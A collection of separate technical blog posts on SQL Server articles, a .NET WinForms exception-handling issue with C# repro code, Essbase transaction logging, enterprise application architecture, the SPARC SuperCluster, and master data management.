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• SQL SERVER – Weekly Series – Memory Lane – #032

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 Complete Series of Database Coding Standards and Guidelines SQL SERVER Database Coding Standards and Guidelines – Introduction SQL SERVER – Database Coding Standards and Guidelines – Part 1 SQL SERVER – Database Coding Standards and Guidelines – Part 2 SQL SERVER Database Coding Standards and Guidelines Complete List Download Explanation and Example – SELF JOIN When all of the data you require is contained within a single table, but data needed to extract is related to each other in the table itself. Examples of this type of data relate to Employee information, where the table may have both an Employee’s ID number for each record and also a field that displays the ID number of an Employee’s supervisor or manager. To retrieve the data tables are required to relate/join to itself. Insert Multiple Records Using One Insert Statement – Use of UNION ALL This is very interesting question I have received from new developer. How can I insert multiple values in table using only one insert? Now this is interesting question. When there are multiple records are to be inserted in the table following is the common way using T-SQL. Function to Display Current Week Date and Day – Weekly Calendar Straight blog post with script to find current week date and day based on the parameters passed in the function.  2008 In my beginning years, I have almost same confusion as many of the developer had in their earlier years. Here are two of the interesting question which I have attempted to answer in my early year. Even if you are experienced developer may be you will still like to read following two questions: Order Of Column In Index Order of Conditions in WHERE Clauses Example of DISTINCT in Aggregate Functions Have you ever used DISTINCT with the Aggregation Function? Here is a simple example about how users can do it. Create a Comma Delimited List Using SELECT Clause From Table Column Straight to script example where I explained how to do something easy and quickly. Compound Assignment Operators SQL SERVER 2008 has introduced new concept of Compound Assignment Operators. Compound Assignment Operators are available in many other programming languages for quite some time. Compound Assignment Operators is operator where variables are operated upon and assigned on the same line. PIVOT and UNPIVOT Table Examples Here is a very interesting question – the answer to the question can be YES or NO both. “If we PIVOT any table and UNPIVOT that table do we get our original table?” Read the blog post to get the explanation of the question above. 2009 What is Interim Table – Simple Definition of Interim Table The interim table is a table that is generated by joining two tables and not the final result table. In other words, when two tables are joined they create an interim table as resultset but the resultset is not final yet. It may be possible that more tables are about to join on the interim table, and more operations are still to be applied on that table (e.g. Order By, Having etc). Besides, it may be possible that there is no interim table; sometimes final table is what is generated when the query is run. 2010 Stored Procedure and Transactions If Stored Procedure is transactional then, it should roll back complete transactions when it encounters any errors. Well, that does not happen in this case, which proves that Stored Procedure does not only provide just the transactional feature to a batch of T-SQL. Generate Database Script for SQL Azure When talking about SQL Azure the most common complaint I hear is that the script generated from stand-along SQL Server database is not compatible with SQL Azure. This was true for some time for sure but not any more. If you have SQL Server 2008 R2 installed you can follow the guideline below to generate a script which is compatible with SQL Azure. Convert IN to EXISTS – Performance Talk It is NOT necessary that every time when IN is replaced by EXISTS it gives better performance. However, in our case listed above it does for sure give better performance. You can read about this subject in the associated blog post. Subquery or Join – Various Options – SQL Server Engine Knows the Best Every single time whenever there is a performance tuning exercise, I hear the conversation from developer where some prefer subquery and some prefer join. In this two part blog post, I explain the same in the detail with examples. Part 1 | Part 2 Merge Operations – Insert, Update, Delete in Single Execution MERGE is a new feature that provides an efficient way to do multiple DML operations. In earlier versions of SQL Server, we had to write separate statements to INSERT, UPDATE, or DELETE data based on certain conditions; however, at present, by using the MERGE statement, we can include the logic of such data changes in one statement that even checks when the data is matched and then just update it, and similarly, when the data is unmatched, it is inserted. 2011 Puzzle – Statistics are not updated but are Created Once Here is the quick scenario about my setup. Create Table Insert 1000 Records Check the Statistics Now insert 10 times more 10,000 indexes Check the Statistics – it will be NOT updated – WHY? Question to You – When to use Function and When to use Stored Procedure Personally, I believe that they are both different things - they cannot be compared. I can say, it will be like comparing apples and oranges. Each has its own unique use. However, they can be used interchangeably at many times and in real life (i.e., production environment). I have personally seen both of these being used interchangeably many times. This is the precise reason for asking this question. 2012 In year 2012 I had two interesting series ran on the blog. If there is no fun in learning, the learning becomes a burden. For the same reason, I had decided to build a three part quiz around SEQUENCE. The quiz was to identify the next value of the sequence. I encourage all of you to take part in this fun quiz. Guess the Next Value – Puzzle 1 Guess the Next Value – Puzzle 2 Guess the Next Value – Puzzle 3 Guess the Next Value – Puzzle 4 Simple Example to Configure Resource Governor – Introduction to Resource Governor Resource Governor is a feature which can manage SQL Server Workload and System Resource Consumption. We can limit the amount of CPU and memory consumption by limiting /governing /throttling on the SQL Server. If there are different workloads running on SQL Server and each of the workload needs different resources or when workloads are competing for resources with each other and affecting the performance of the whole server resource governor is a very important task. Tricks to Replace SELECT * with Column Names – SQL in Sixty Seconds #017 – Video  Retrieves unnecessary columns and increases network traffic When a new columns are added views needs to be refreshed manually Leads to usage of sub-optimal execution plan Uses clustered index in most of the cases instead of using optimal index It is difficult to debug SQL SERVER – Load Generator – Free Tool From CodePlex The best part of this SQL Server Load Generator is that users can run multiple simultaneous queries again SQL Server using different login account and different application name. The interface of the tool is extremely easy to use and very intuitive as well. A Puzzle – Swap Value of Column Without Case Statement Let us assume there is a single column in the table called Gender. The challenge is to write a single update statement which will flip or swap the value in the column. For example if the value in the gender column is ‘male’ swap it with ‘female’ and if the value is ‘female’ swap it with ‘male’. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• Why Is Faulty Behaviour In The .NET Framework Not Fixed?

  - by Alois Kraus

  Here is the scenario: You have a Windows Form Application that calls a method via Invoke or BeginInvoke which throws exceptions. Now you want to find out where the error did occur and how the method has been called. Here is the output we do get when we call Begin/EndInvoke or simply Invoke The actual code that was executed was like this:         private void cInvoke_Click(object sender, EventArgs e)         {             InvokingFunction(CallMode.Invoke);         }            [MethodImpl(MethodImplOptions.NoInlining)]         void InvokingFunction(CallMode mode)         {             switch (mode)             {                 case CallMode.Invoke:                     this.Invoke(new MethodInvoker(GenerateError));   The faulting method is called GenerateError which does throw a NotImplementedException exception and wraps it in a NotSupportedException.           [MethodImpl(MethodImplOptions.NoInlining)]         void GenerateError()         {             F1();         }           private void F1()         {             try             {                 F2();             }             catch (Exception ex)             {                 throw new NotSupportedException("Outer Exception", ex);             }         }           private void F2()         {            throw new NotImplementedException("Inner Exception");         } It is clear that the method F2 and F1 did actually throw these exceptions but we do not see them in the call stack. If we directly call the InvokingFunction and catch and print the exception we can find out very easily how we did get into this situation. We see methods F1,F2,GenerateError and InvokingFunction directly in the stack trace and we see that actually two exceptions did occur. Here is for comparison what we get from Invoke/EndInvoke System.NotImplementedException: Inner Exception     StackTrace:    at System.Windows.Forms.Control.MarshaledInvoke(Control caller, Delegate method, Object[] args, Boolean synchronous)     at System.Windows.Forms.Control.Invoke(Delegate method, Object[] args)     at WindowsFormsApplication1.AppForm.InvokingFunction(CallMode mode)     at WindowsFormsApplication1.AppForm.cInvoke_Click(Object sender, EventArgs e)     at System.Windows.Forms.Control.OnClick(EventArgs e)     at System.Windows.Forms.Button.OnClick(EventArgs e) The exception message is kept but the stack starts running from our Invoke call and not from the faulting method F2. We have therefore no clue where this exception did occur! The stack starts running at the method MarshaledInvoke because the exception is rethrown with the throw catchedException which resets the stack trace. That is bad but things are even worse because if previously lets say 5 exceptions did occur .NET will return only the first (innermost) exception. That does mean that we do not only loose the original call stack but all other exceptions and all data contained therein as well. It is a pity that MS does know about this and simply closes this issue as not important. Programmers will play a lot more around with threads than before thanks to TPL, PLINQ that do come with .NET 4. Multithreading is hyped quit a lot in the press and everybody wants to use threads. But if the .NET Framework makes it nearly impossible to track down the easiest UI multithreading issue I have a problem with that. The problem has been reported but obviously not been solved. .NET 4 Beta 2 did not have changed that dreaded GetBaseException call in MarshaledInvoke to return only the innermost exception of the complete exception stack. It is really time to fix this. WPF on the other hand does the right thing and wraps the exceptions inside a TargetInvocationException which makes much more sense. But Not everybody uses WPF for its daily work and Windows forms applications will still be used for a long time. Below is the code to repro the issues shown and how the exceptions can be rendered in a meaningful way. The default Exception.ToString implementation generates a hard to interpret stack if several nested exceptions did occur. using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Threading; using System.Globalization; using System.Runtime.CompilerServices;   namespace WindowsFormsApplication1 {     public partial class AppForm : Form     {         enum CallMode         {             Direct = 0,             BeginInvoke = 1,             Invoke = 2         };           public AppForm()         {             InitializeComponent();             Thread.CurrentThread.CurrentUICulture = CultureInfo.InvariantCulture;             Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException);         }           void Application_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e)         {             cOutput.Text = PrintException(e.Exception, 0, null).ToString();         }           private void cDirectUnhandled_Click(object sender, EventArgs e)         {             InvokingFunction(CallMode.Direct);         }           private void cDirectCall_Click(object sender, EventArgs e)         {             try             {                 InvokingFunction(CallMode.Direct);             }             catch (Exception ex)             {                 cOutput.Text = PrintException(ex, 0, null).ToString();             }         }           private void cInvoke_Click(object sender, EventArgs e)         {             InvokingFunction(CallMode.Invoke);         }           private void cBeginInvokeCall_Click(object sender, EventArgs e)         {             InvokingFunction(CallMode.BeginInvoke);         }           [MethodImpl(MethodImplOptions.NoInlining)]         void InvokingFunction(CallMode mode)         {             switch (mode)             {                 case CallMode.Direct:                     GenerateError();                     break;                 case CallMode.Invoke:                     this.Invoke(new MethodInvoker(GenerateError));                     break;                 case CallMode.BeginInvoke:                     IAsyncResult res = this.BeginInvoke(new MethodInvoker(GenerateError));                     this.EndInvoke(res);                     break;             }         }           [MethodImpl(MethodImplOptions.NoInlining)]         void GenerateError()         {             F1();         }           private void F1()         {             try             {                 F2();             }             catch (Exception ex)             {                 throw new NotSupportedException("Outer Exception", ex);             }         }           private void F2()         {            throw new NotImplementedException("Inner Exception");         }           StringBuilder PrintException(Exception ex, int identLevel, StringBuilder sb)         {             StringBuilder builtStr = sb;             if( builtStr == null )                 builtStr = new StringBuilder();               if( ex == null )                 return builtStr;                 WriteLine(builtStr, String.Format("{0}: {1}", ex.GetType().FullName, ex.Message), identLevel);             WriteLine(builtStr, String.Format("StackTrace: {0}", ShortenStack(ex.StackTrace)), identLevel + 1);             builtStr.AppendLine();               return PrintException(ex.InnerException, ++identLevel, builtStr);         }               void WriteLine(StringBuilder sb, string msg, int identLevel)         {             foreach (string trimmedLine in SplitToLines(msg)                                            .Select( (line) => line.Trim()) )             {                 for (int i = 0; i < identLevel; i++)                     sb.Append('\t');                 sb.Append(trimmedLine);                 sb.AppendLine();             }         }           string ShortenStack(string stack)         {             int nonAppFrames = 0;             // Skip stack frames not part of our app but include two foreign frames and skip the rest             // If our stack frame is encountered reset counter to 0             return SplitToLines(stack)                               .Where((line) =>                               {                                   nonAppFrames = line.Contains("WindowsFormsApplication1") ? 0 : nonAppFrames + 1;                                   return nonAppFrames < 3;                               })                              .Select((line) => line)                              .Aggregate("", (current, line) => current + line + Environment.NewLine);         }           static char[] NewLines = Environment.NewLine.ToCharArray();         string[] SplitToLines(string str)         {             return str.Split(NewLines, StringSplitOptions.RemoveEmptyEntries);         }     } }

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• New ways for backup, recovery and restore of Essbase Block Storage databases – part 2 by Bernhard Kinkel

  - by Alexandra Georgescu

  After discussing in the first part of this article new options in Essbase for the general backup and restore, this second part will deal with the also rather new feature of Transaction Logging and Replay, which was released in version 11.1, enhancing existing restore options. Tip: Transaction logging and replay cannot be used for aggregate storage databases. Please refer to the Oracle Hyperion Enterprise Performance Management System Backup and Recovery Guide (rel. 11.1.2.1). Even if backups are done on a regular, frequent base, subsequent data entries, loads or calculations would not be reflected in a restored database. Activating Transaction Logging could fill that gap and provides you with an option to capture these post-backup transactions for later replay. The following table shows, which are the transactions that could be logged when Transaction Logging is enabled: In order to activate its usage, corresponding statements could be added to the Essbase.cfg file, using the TRANSACTIONLOGLOCATION command. The complete syntax reads: TRANSACTIONLOGLOCATION [ appname [ dbname]] LOGLOCATION NATIVE ?ENABLE | DISABLE Where appname and dbname are optional parameters giving you the chance in combination with the ENABLE or DISABLE command to set Transaction Logging for certain applications or databases or to exclude them from being logged. If only an appname is specified, the setting applies to all databases in that particular application. If appname and dbname are not defined, all applications and databases would be covered. LOGLOCATION specifies the directory to which the log is written, e.g. D:\temp\trlogs. This directory must already exist or needs to be created before using it for log information being written to it. NATIVE is a reserved keyword that shouldn’t be changed. The following example shows how to first enable logging on a more general level for all databases in the application Sample, followed by a disabling statement on a more granular level for only the Basic database in application Sample, hence excluding it from being logged. TRANSACTIONLOGLOCATION Sample Hyperion/trlog/Sample NATIVE ENABLE TRANSACTIONLOGLOCATION Sample Basic Hyperion/trlog/Sample NATIVE DISABLE Tip: After applying changes to the configuration file you must restart the Essbase server in order to initialize the settings. A maybe required replay of logged transactions after restoring a database can be done only by administrators. The following options are available: In Administration Services selecting Replay Transactions on the right-click menu on the database: Here you can select to replay transactions logged after the last replay request was originally executed or after the time of the last restored backup (whichever occurred later) or transactions logged after a specified time. Or you can replay transactions selectively based on a range of sequence IDs, which can be accessed using Display Transactions on the right-click menu on the database: These sequence ID s (0, 1, 2 … 7 in the screenshot below) are assigned to each logged transaction, indicating the order in which the transaction was performed. This helps to ensure the integrity of the restored data after a replay, as the replay of transactions is enforced in the same order in which they were originally performed. So for example a calculation originally run after a data load cannot be replayed before having replayed the data load first. After a transaction is replayed, you can replay only transactions with a greater sequence ID. For example, replaying the transaction with sequence ID of 4 includes all preceding transactions, while afterwards you can only replay transactions with a sequence ID of 5 or greater. Tip: After restoring a database from a backup you should always completely replay all logged transactions, which were executed after the backup, before executing new transactions. But not only the transaction information itself needs to be logged and stored in a specified directory as described above. During transaction logging, Essbase also creates archive copies of data load and rules files in the following default directory: ARBORPATH/app/appname/dbname/Replay These files are then used during the replay of a logged transaction. By default Essbase archives only data load and rules files for client data loads, but in order to specify the type of data to archive when logging transactions you can use the command TRANSACTIONLOGDATALOADARCHIVE as an additional entry in the Essbase.cfg file. The syntax for the statement is: TRANSACTIONLOGDATALOADARCHIVE [appname [dbname]] [OPTION] While to the [appname [dbname]] argument the same applies like before for TRANSACTIONLOGLOCATION, the valid values for the OPTION argument are the following: Make the respective setting for which files copies should be logged, considering from which location transactions are usually taking place. Selecting the NONE option prevents Essbase from saving the respective files and the data load cannot be replayed. In this case you must first manually load the data before you can replay the transactions. Tip: If you use server or SQL data and the data and rules files are not archived in the Replay directory (for example, you did not use the SERVER or SERVER_CLIENT option), Essbase replays the data that is actually in the data source at the moment of the replay, which may or may not be the data that was originally loaded. You can find more detailed information in the following documents: Oracle Hyperion Enterprise Performance Management System Backup and Recovery Guide (rel. 11.1.2.1) Oracle Essbase Online Documentation (rel. 11.1.2.1)) Enterprise Performance Management System Documentation (including previous releases) Or on the Oracle Technology Network. If you are also interested in other new features and smart enhancements in Essbase or Hyperion Planning stay tuned for coming articles or check our training courses and web presentations. You can find general information about offerings for the Essbase and Planning curriculum or other Oracle-Hyperion products here; (please make sure to select your country/region at the top of this page) or in the OU Learning paths section, where Planning, Essbase and other Hyperion products can be found under the Fusion Middleware heading (again, please select the right country/region). Or drop me a note directly: [email protected]. About the Author: Bernhard Kinkel started working for Hyperion Solutions as a Presales Consultant and Consultant in 1998 and moved to Hyperion Education Services in 1999. He joined Oracle University in 2007 where he is a Principal Education Consultant. Based on these many years of working with Hyperion products he has detailed product knowledge across several versions. He delivers both classroom and live virtual courses. His areas of expertise are Oracle/Hyperion Essbase, Oracle Hyperion Planning and Hyperion Web Analysis. Disclaimer: All methods and features mentioned in this article must be considered and tested carefully related to your environment, processes and requirements. As guidance please always refer to the available software documentation. This article does not recommend or advise any explicit action or change, hence the author cannot be held responsible for any consequences due to the use or implementation of these features.

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• The Application Architecture Domain

  - by Michael Glas

  I have been spending a lot of time thinking about Application Architecture in the context of EA. More specifically, as an Enterprise Architect, what do I need to consider when looking at/defining/designing the Application Architecture Domain?There are several definitions of Application Architecture. TOGAF says “The objective here [in Application Architecture] is to define the major kinds of application system necessary to process the data and support the business”. FEA says the Application Architecture “Defines the applications needed to manage the data and support the business functions”.I agree with these definitions. They reflect what the Application Architecture domain does. However, they need to be decomposed to be practical.I find it useful to define a set of views into the Application Architecture domain. These views reflect what an EA needs to consider when working with/in the Applications Architecture domain. These viewpoints are, at a high level:Capability View: This view reflects how applications alignment with business capabilities. It is a super set of the following views when viewed in aggregate. By looking at the Application Architecture domain in terms of the business capabilities it supports, you get a good perspective on how those applications are directly supporting the business.Technology View: The technology view reflects the underlying technology that makes up the applications. Based on the number of rationalization activities I have seen (more specifically application rationalization), the phrase “complexity equals cost” drives the importance of the technology view, especially when attempting to reduce that complexity through standardization type activities. Some of the technology components to be considered are: Software: The application itself as well as the software the application relies on to function (web servers, application servers). Infrastructure: The underlying hardware and network components required by the application and supporting application software. Development: How the application is created and maintained. This encompasses development components that are part of the application itself (i.e. customizable functions), as well as bolt on development through web services, API’s, etc. The maintenance process itself also falls under this view. Integration: The interfaces that the application provides for integration as well as the integrations to other applications and data sources the application requires to function. Type: Reflects the kind of application (mash-up, 3 tiered, etc). (Note: functional type [CRM, HCM, etc.] are reflected under the capability view). Organization View: Organizations are comprised of people and those people use applications to do their jobs. Trying to define the application architecture domain without taking the organization that will use/fund/change it into consideration is like trying to design a car without thinking about who will drive it (i.e. you may end up building a formula 1 car for a family of 5 that is really looking for a minivan). This view reflects the people aspect of the application. It includes: Ownership: Who ‘owns’ the application? This will usually reflect primary funding and utilization but not always. Funding: Who funds both the acquisition/creation as well as the on-going maintenance (funding to create/change/operate)? Change: Who can/does request changes to the application and what process to the follow? Utilization: Who uses the application, how often do they use it, and how do they use it? Support: Which organization is responsible for the on-going support of the application? Information View: Whether or not you subscribe to the view that “information drives the enterprise”, it is a fact that information is critical. The management, creation, and organization of that information are primary functions of enterprise applications. This view reflects how the applications are tied to information (or at a higher level – how the Application Architecture domain relates to the Information Architecture domain). It includes: Access: The application is the mechanism by which end users access information. This could be through a primary application (i.e. CRM application), or through an information access type application (a BI application as an example). Creation: Applications create data in order to provide information to end-users. (I.e. an application creates an order to be used by an end-user as part of the fulfillment process). Consumption: Describes the data required by applications to function (i.e. a product id is required by a purchasing application to create an order. Application Service View: Organizations today are striving to be more agile. As an EA, I need to provide an architecture that supports this agility. One of the primary ways to achieve the required agility in the application architecture domain is through the use of ‘services’ (think SOA, web services, etc.). Whether it is through building applications from the ground up utilizing services, service enabling an existing application, or buying applications that are already ‘service enabled’, compartmentalizing application functions for re-use helps enable flexibility in the use of those applications in support of the required business agility. The applications service view consists of: Services: Here, I refer to the generic definition of a service “a set of related software functionalities that can be reused for different purposes, together with the policies that should control its usage”. Functions: The activities within an application that are not available / applicable for re-use. This view is helpful when identifying duplication functions between applications that are not service enabled. Delivery Model View: It is hard to talk about EA today without hearing the terms ‘cloud’ or shared services.  Organizations are looking at the ways their applications are delivered for several reasons, to reduce cost (both CAPEX and OPEX), to improve agility (time to market as an example), etc.  From an EA perspective, where/how an application is deployed has impacts on the overall enterprise architecture. From integration concerns to SLA requirements to security and compliance issues, the Enterprise Architect needs to factor in how applications are delivered when designing the Enterprise Architecture. This view reflects how applications are delivered to end-users. The delivery model view consists of different types of delivery mechanisms/deployment options for applications: Traditional: Reflects non-cloud type delivery options. The most prevalent consists of an application running on dedicated hardware (usually specific to an environment) for a single consumer. Private Cloud: The application runs on infrastructure provisioned for exclusive use by a single organization comprising multiple consumers. Public Cloud: The application runs on infrastructure provisioned for open use by the general public. Hybrid: The application is deployed on two or more distinct cloud infrastructures (private, community, or public) that remain unique entities, but are bound together by standardized or proprietary technology that enables data and application portability. While by no means comprehensive, I find that applying these views to the application domain gives a good understanding of what an EA needs to consider when effecting changes to the Application Architecture domain.Finally, the application architecture domain is one of several architecture domains that an EA must consider when developing an overall Enterprise Architecture. The Oracle Enterprise Architecture Framework defines four Primary domains: Business Architecture, Application Architecture, Information Architecture, and Technology Architecture. Each domain links to the others either directly or indirectly at some point. Oracle links them at a high level as follows:Business Capabilities and/or Business Processes (Business Architecture), links to the Applications that enable the capability/process (Applications Architecture – COTS, Custom), links to the Information Assets managed/maintained by the Applications (Information Architecture), links to the technology infrastructure upon which all this runs (Technology Architecture - integration, security, BI/DW, DB infrastructure, deployment model). There are however, times when the EA needs to narrow focus to a particular domain for some period of time. These views help me to do just that.

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• The SPARC SuperCluster

  - by Karoly Vegh

  Oracle has been providing a lead in the Engineered Systems business for quite a while now, in accordance with the motto "Hardware and Software Engineered to Work Together." Indeed it is hard to find a better definition of these systems.  Allow me to summarize the idea. It is:  Build a compute platform optimized to run your technologies Develop application aware, intelligently caching storage components Take an impressively fast network technology interconnecting it with the compute nodes Tune the application to scale with the nodes to yet unseen performance Reduce the amount of data moving via compression Provide this all in a pre-integrated single product with a single-pane management interface All these ideas have been around in IT for quite some time now. The real Oracle advantage is adding the last one to put these all together. Oracle has built quite a portfolio of Engineered Systems, to run its technologies - and run those like they never ran before. In this post I'll focus on one of them that serves as a consolidation demigod, a multi-purpose engineered system.  As you probably have guessed, I am talking about the SPARC SuperCluster. It has many great features inherited from its predecessors, and it adds several new ones. Allow me to pick out and elaborate about some of the most interesting ones from a technological point of view.  I. It is the SPARC SuperCluster T4-4. That is, as compute nodes, it includes SPARC T4-4 servers that we learned to appreciate and respect for their features: The SPARC T4 CPUs: Each CPU has 8 cores, each core runs 8 threads. The SPARC T4-4 servers have 4 sockets. That is, a single compute node can in parallel, simultaneously  execute 256 threads. Now, a full-rack SPARC SuperCluster has 4 of these servers on board. Remember the keyword demigod.  While retaining the forerunner SPARC T3's exceptional throughput, the SPARC T4 CPUs raise the bar with single performance too - a humble 5x better one than their ancestors.  actually, the SPARC T4 CPU cores run in both single-threaded and multi-threaded mode, and switch between these two on-the-fly, fulfilling not only single-threaded OR multi-threaded applications' needs, but even mixed requirements (like in database workloads!). Data security, anyone? Every SPARC T4 CPU core has a built-in encryption engine, that is, encryption algorithms cast into silicon.  A PCI controller right on the chip for customers who need I/O performance.  Built-in, no-cost Virtualization:  Oracle VM for SPARC (the former LDoms or Logical Domains) is not a server-emulation virtualization technology but rather a serverpartitioning one, the hypervisor runs in the server firmware, and all the VMs' HW resources (I/O, CPU, memory) are accessed natively, without performance overhead.  This enables customers to run a number of Solaris 10 and Solaris 11 VMs separated, independent of each other within a physical server II. For Database performance, it includes Exadata Storage Cells - one of the main reasons why the Exadata Database Machine performs at diabolic speed. What makes them important? They provide DB backend storage for your Oracle Databases to run on the SPARC SuperCluster, that is what they are built and tuned for DB performance.  These storage cells are SQL-aware.  That is, if a SPARC T4 database compute node executes a query, it doesn't simply request tons of raw datablocks from the storage, filters the received data, and throws away most of it where the statement doesn't apply, but provides the SQL query to the storage node too. The storage cell software speaks SQL, that is, it is able to prefilter and through that transfer only the relevant data. With this, the traffic between database nodes and storage cells is reduced immensely. Less I/O is a good thing - as they say, all the CPUs of the world do one thing just as fast as any other - and that is waiting for I/O.  They don't only pre-filter, but also provide data preprocessing features - e.g. if a DB-node requests an aggregate of data, they can calculate it, and handover only the results, not the whole set. Again, less data to transfer.  They support the magical HCC, (Hybrid Columnar Compression). That is, data can be stored in a precompressed form on the storage. Less data to transfer.  Of course one can't simply rely on disks for performance, there is Flash Storage included there for caching.  III. The low latency, high-speed backbone network: InfiniBand, that interconnects all the members with: Real High Speed: 40 Gbit/s. Full Duplex, of course. Oh, and a really low latency.  RDMA. Remote Direct Memory Access. This technology allows the DB nodes to do exactly that. Remotely, directly placing SQL commands into the Memory of the storage cells. Dodging all the network-stack bottlenecks, avoiding overhead, placing requests directly into the process queue.  You can also run IP over InfiniBand if you please - that's the way the compute nodes can communicate with each other.  IV. Including a general-purpose storage too: the ZFSSA, which is a unified storage, providing NAS and SAN access too, with the following features:  NFS over RDMA over InfiniBand. Nothing is faster network-filesystem-wise.  All the ZFS features onboard, hybrid storage pools, compression, deduplication, snapshot, replication, NFS and CIFS shares Storageheads in a HA-Cluster configuration providing availability of the data  DTrace Live Analytics in a web-based Administration UI Being a general purpose application data storage for your non-database applications running on the SPARC SuperCluster over whichever protocol they prefer, easily replicating, snapshotting, cloning data for them.  There's a lot of great technology included in Oracle's SPARC SuperCluster, we have talked its interior through. As for external scalability: you can start with a half- of full- rack SPARC SuperCluster, and scale out to several racks - that is, stacking not separate full-rack SPARC SuperClusters, but extending always one large instance of the size of several full-racks. Yes, over InfiniBand network. Add racks as you grow.  What technologies shall run on it? SPARC SuperCluster is a general purpose scaleout consolidation/cloud environment. You can run Oracle Databases with RAC scaling, or Oracle Weblogic (end enjoy the SPARC T4's advantages to run Java). Remember, Oracle technologies have been integrated with the Oracle Engineered Systems - this is the Oracle on Oracle advantage. But you can run other software environments such as SAP if you please too. Run any application that runs on Oracle Solaris 10 or Solaris 11. Separate them in Virtual Machines, or even Oracle Solaris Zones, monitor and manage those from a central UI. Here the key takeaways once again: The SPARC SuperCluster: Is a pre-integrated Engineered System Contains SPARC T4-4 servers with built-in virtualization, cryptography, dynamic threading Contains the Exadata storage cells that intelligently offload the burden of the DB-nodes  Contains a highly available ZFS Storage Appliance, that provides SAN/NAS storage in a unified way Combines all these elements over a high-speed, low-latency backbone network implemented with InfiniBand Can grow from a single half-rack to several full-rack size Supports the consolidation of hundreds of applications To summarize: All these technologies are great by themselves, but the real value is like in every other Oracle Engineered System: Integration. All these technologies are tuned to perform together. Together they are way more than the sum of all - and a careful and actually very time consuming integration process is necessary to orchestrate all these for performance. The SPARC SuperCluster's goal is to enable infrastructure operations and offer a pre-integrated solution that can be architected and delivered in hours instead of months of evaluations and tests. The tedious and most importantly time and resource consuming part of the work - testing and evaluating - has been done.  Now go, provide services.   -- charlie  

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• Five Key Strategies in Master Data Management

  - by david.butler(at)oracle.com

  Here is a very interesting Profit Magazine article on MDM: A recent customer survey reveals the deleterious effects of data fragmentation. by Trevor Naidoo, December 2010   Across industries and geographies, IT organizations have grown in complexity, whether due to mergers and acquisitions, or decentralized systems supporting functional or departmental requirements. With systems architected over time to support unique, one-off process needs, they are becoming costly to maintain, and the Internet has only further added to the complexity. Data fragmentation has become a key inhibitor in delivering flexible, user-friendly systems. The Oracle Insight team conducted a survey assessing customers' master data management (MDM) capabilities over the past two years to get a sense of where they are in terms of their capabilities. The responses, by 27 respondents from six different industries, reveal five key areas in which customers need to improve their data management in order to get better financial results. 1. Less than 15 percent of organizations surveyed understand the sources and quality of their master data, and have a roadmap to address missing data domains. Examples of the types of master data domains referred to are customer, supplier, product, financial and site. Many organizations have multiple sources of master data with varying degrees of data quality in each source -- customer data stored in the customer relationship management system is inconsistent with customer data stored in the order management system. Imagine not knowing how many places you stored your customer information, and whether a customer's address was the most up to date in each source. In fact, more than 55 percent of the respondents in the survey manage their data quality on an ad-hoc basis. It is important for organizations to document their inventory of data sources and then profile these data sources to ensure that there is a consistent definition of key data entities throughout the organization. Some questions to ask are: How do we define a customer? What is a product? How do we define a site? The goal is to strive for one common repository for master data that acts as a cross reference for all other sources and ensures consistent, high-quality master data throughout the organization. 2. Only 18 percent of respondents have an enterprise data management strategy to ensure that data is treated as an asset to the organization. Most respondents handle data at the department or functional level and do not have an enterprise view of their master data. The sales department may track all their interactions with customers as they move through the sales cycle, the service department is tracking their interactions with the same customers independently, and the finance department also has a different perspective on the same customer. The salesperson may not be aware that the customer she is trying to sell to is experiencing issues with existing products purchased, or that the customer is behind on previous invoices. The lack of a data strategy makes it difficult for business users to turn data into information via reports. Without the key building blocks in place, it is difficult to create key linkages between customer, product, site, supplier and financial data. These linkages make it possible to understand patterns. A well-defined data management strategy is aligned to the business strategy and helps create the governance needed to ensure that data stewardship is in place and data integrity is intact. 3. Almost 60 percent of respondents have no strategy to integrate data across operational applications. Many respondents have several disparate sources of data with no strategy to keep them in sync with each other. Even though there is no clear strategy to integrate the data (see #2 above), the data needs to be synced and cross-referenced to keep the business processes running. About 55 percent of respondents said they perform this integration on an ad hoc basis, and in many cases, it is done manually with the help of Microsoft Excel spreadsheets. For example, a salesperson needs a report on global sales for a specific product, but the product has different product numbers in different countries. Typically, an analyst will pull all the data into Excel, manually create a cross reference for that product, and then aggregate the sales. The exact same procedure has to be followed if the same report is needed the following month. A well-defined consolidation strategy will ensure that a central cross-reference is maintained with updates in any one application being propagated to all the other systems, so that data is synchronized and up to date. This can be done in real time or in batch mode using integration technology. 4. Approximately 50 percent of respondents spend manual efforts cleansing and normalizing data. Information stored in various systems usually follows different standards and formats, making it difficult to match the data. A customer's address can be stored in different ways using a variety of abbreviations -- for example, "av" or "ave" for avenue. Similarly, a product's attributes can be stored in a number of different ways; for example, a size attribute can be stored in inches and can also be entered as "'' ". These types of variations make it difficult to match up data from different sources. Today, most customers rely on manual, heroic efforts to match, cleanse, and de-duplicate data -- clearly not a scalable, sustainable model. To solve this challenge, organizations need the ability to standardize data for customers, products, sites, suppliers and financial accounts; however, less than 10 percent of respondents have technology in place to automatically resolve duplicates. It is no wonder, therefore, that we get communications about products we don't own, at addresses we don't reside, and using channels (like direct mail) we don't like. An all-too-common example of a potential challenge follows: Customers end up receiving duplicate communications, which not only impacts customer satisfaction, but also incurs additional mailing costs. Cleansing, normalizing, and standardizing data will help address most of these issues. 5. Only 10 percent of respondents have the ability to share data that was mastered in a master data hub. Close to 60 percent of respondents have efforts in place that profile, standardize and cleanse data manually, and the output of these efforts are stored in spreadsheets in various parts of the organization. This valuable information is not easily shared with the rest of the organization and, more importantly, this enriched information cannot be sent back to the source systems so that the data is fixed at the source. A key benefit of a master data management strategy is not only to clean the data, but to also share the data back to the source systems as well as other systems that need the information. Aside from the source systems, another key beneficiary of this data is the business intelligence system. Having clean master data as input to business intelligence systems provides more accurate and enhanced reporting.  Characteristics of Stellar MDM When deciding on the right master data management technology, organizations should look for solutions that have four main characteristics: enterprise-grade MDM performance complete technology that can be rapidly deployed and addresses multiple business issues end-to-end MDM process management with data quality monitoring and assurance pre-built MDM business relevant applications with data stores and workflows These master data management capabilities will aid in moving closer to a best-practice maturity 